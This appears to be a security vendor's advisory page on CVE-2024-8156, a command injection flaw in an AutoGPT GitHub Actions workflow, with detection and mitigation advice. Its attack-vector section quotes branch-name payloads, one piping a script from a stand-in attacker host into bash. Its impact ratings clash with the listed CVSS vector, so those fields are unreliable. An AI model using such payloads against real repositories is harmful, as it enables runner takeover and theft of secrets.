Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2024-8156

CVE-2024-8156: Agpt Autogpt Classic RCE Vulnerability

CVE-2024-8156 is a command injection flaw in Agpt Autogpt Classic that allows attackers to execute arbitrary commands via malicious branch names. This article covers technical details, affected versions, impact, and mitigation.

Published: April 8, 2026

CVE-2024-8156 Overview

A command injection vulnerability exists in the workflow-checker.yml workflow of significant-gravitas/autogpt. The untrusted user input github.head.ref is used insecurely, allowing an attacker to inject arbitrary commands. This vulnerability affects versions up to and including the latest version. An attacker can exploit this by creating a branch name with a malicious payload and opening a pull request, potentially leading to reverse shell access or theft of sensitive tokens and keys.

Critical Impact

This command injection vulnerability allows unauthenticated remote attackers to execute arbitrary commands on the GitHub Actions runner, potentially gaining reverse shell access or stealing sensitive repository secrets, tokens, and API keys.

Affected Products

  • Agpt AutoGPT Classic (all versions up to and including the latest)
  • agpt:autogpt_classic component
  • GitHub Actions workflow: workflow-checker.yml

Discovery Timeline

  • 2025-03-20 - CVE-2024-8156 published to NVD
  • 2025-10-15 - Last updated in NVD database

Technical Details for CVE-2024-8156

Vulnerability Analysis

This vulnerability is classified as CWE-77 (Command Injection), arising from improper neutralization of special elements used in a command. The vulnerable workflow file workflow-checker.yml directly interpolates the github.head_ref context variable into a shell command without proper sanitization or escaping.

In GitHub Actions, the github.head_ref variable contains the name of the head branch in a pull request event. Since branch names are user-controlled, an attacker can craft a malicious branch name containing shell metacharacters and command sequences that will be executed when the workflow runs.

The attack requires no privileges on the target repository—any user who can fork the repository and open a pull request can trigger the vulnerable code path. This makes the vulnerability particularly dangerous for open-source projects that accept community contributions.

Root Cause

The root cause is the unsafe use of GitHub Actions expression syntax (${{ github.head_ref }}) directly within a run: block without proper input validation or escaping. When this expression is evaluated, the branch name is directly interpolated into the shell command, allowing shell metacharacters to be interpreted.

GitHub Actions workflows that use expressions like ${{ github.head_ref }}, ${{ github.event.pull_request.title }}, or similar user-controlled inputs in shell commands are susceptible to this class of vulnerability if the inputs are not properly sanitized.

Attack Vector

The attack vector is network-based and requires no authentication to the target repository. An attacker exploits this vulnerability through the following sequence:

  1. Fork the vulnerable repository
  2. Create a branch with a malicious name containing shell injection payload (e.g., feature$(whoami) or test"; curl attacker.com/shell.sh | bash; #)
  3. Open a pull request from the malicious branch to the target repository
  4. The GitHub Actions workflow automatically triggers on the pull request event
  5. The injected commands execute in the context of the GitHub Actions runner with access to repository secrets

This attack can lead to exfiltration of GITHUB_TOKEN and other repository secrets, modification of repository contents, lateral movement to connected services, and supply chain compromise if the repository produces artifacts or releases.

Detection Methods for CVE-2024-8156

Indicators of Compromise

  • Unusual pull requests from unknown forks with suspicious branch names containing shell metacharacters (;, |, $(), backticks)
  • GitHub Actions workflow logs showing unexpected command execution or network connections
  • Anomalous outbound network traffic from GitHub Actions runners to unknown external hosts
  • Unauthorized access to repository secrets or unexpected API calls using repository tokens

Detection Strategies

  • Audit GitHub Actions workflow files for unsafe use of ${{ github.* }} expressions in run: blocks
  • Monitor pull request activity for branch names containing shell metacharacters or encoded payloads
  • Review GitHub Actions workflow run logs for command execution anomalies or unexpected outputs
  • Implement branch name validation at the repository level to reject names with special characters

Monitoring Recommendations

  • Enable GitHub audit logging and monitor for unusual workflow execution patterns
  • Set up alerts for pull requests from first-time contributors with unusual branch naming patterns
  • Configure repository rules to require approval before workflows run on pull requests from forks
  • Monitor for secrets rotation triggers that might indicate token theft

How to Mitigate CVE-2024-8156

Immediate Actions Required

  • Update to the patched version by applying commit 1df7d527dd37dff8363dc162fb58d300f072e302
  • Review and rotate any secrets that may have been exposed in previous workflow runs
  • Audit existing pull requests for suspicious branch names that may have triggered the vulnerability
  • Enable "Require approval for all outside collaborators" in repository workflow settings

Patch Information

The vulnerability has been addressed in the GitHub commit 1df7d527dd37dff8363dc162fb58d300f072e302. Organizations using AutoGPT should update their deployments to include this fix. Additional technical details about the vulnerability discovery can be found in the Huntr bounty report.

Workarounds

  • Pass user-controlled inputs as environment variables instead of using direct expression interpolation in shell commands
  • Use intermediate steps to sanitize and validate branch names before use in shell commands
  • Configure repository settings to require manual approval for workflow runs on pull requests from forks
  • Implement branch protection rules that restrict branch naming patterns to alphanumeric characters
bash
# Secure pattern: Use environment variables instead of direct interpolation
# Instead of: run: echo "Branch: ${{ github.head_ref }}"
# Use this pattern in your workflow:
env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  # Validate the branch name before use
  if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then
    echo "Invalid branch name detected"
    exit 1
  fi
  echo "Branch: $BRANCH_NAME"

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechAgpt Autogpt Classic

  • SeverityCRITICAL

  • CVSS Score9.8

  • EPSS Probability2.64%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-77
  • Technical References
  • Huntr Bounty Report
  • Vendor Resources
  • GitHub Commit Changes
  • Related CVEs
  • CVE-2024-6091: AutoGPT Auth Bypass Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English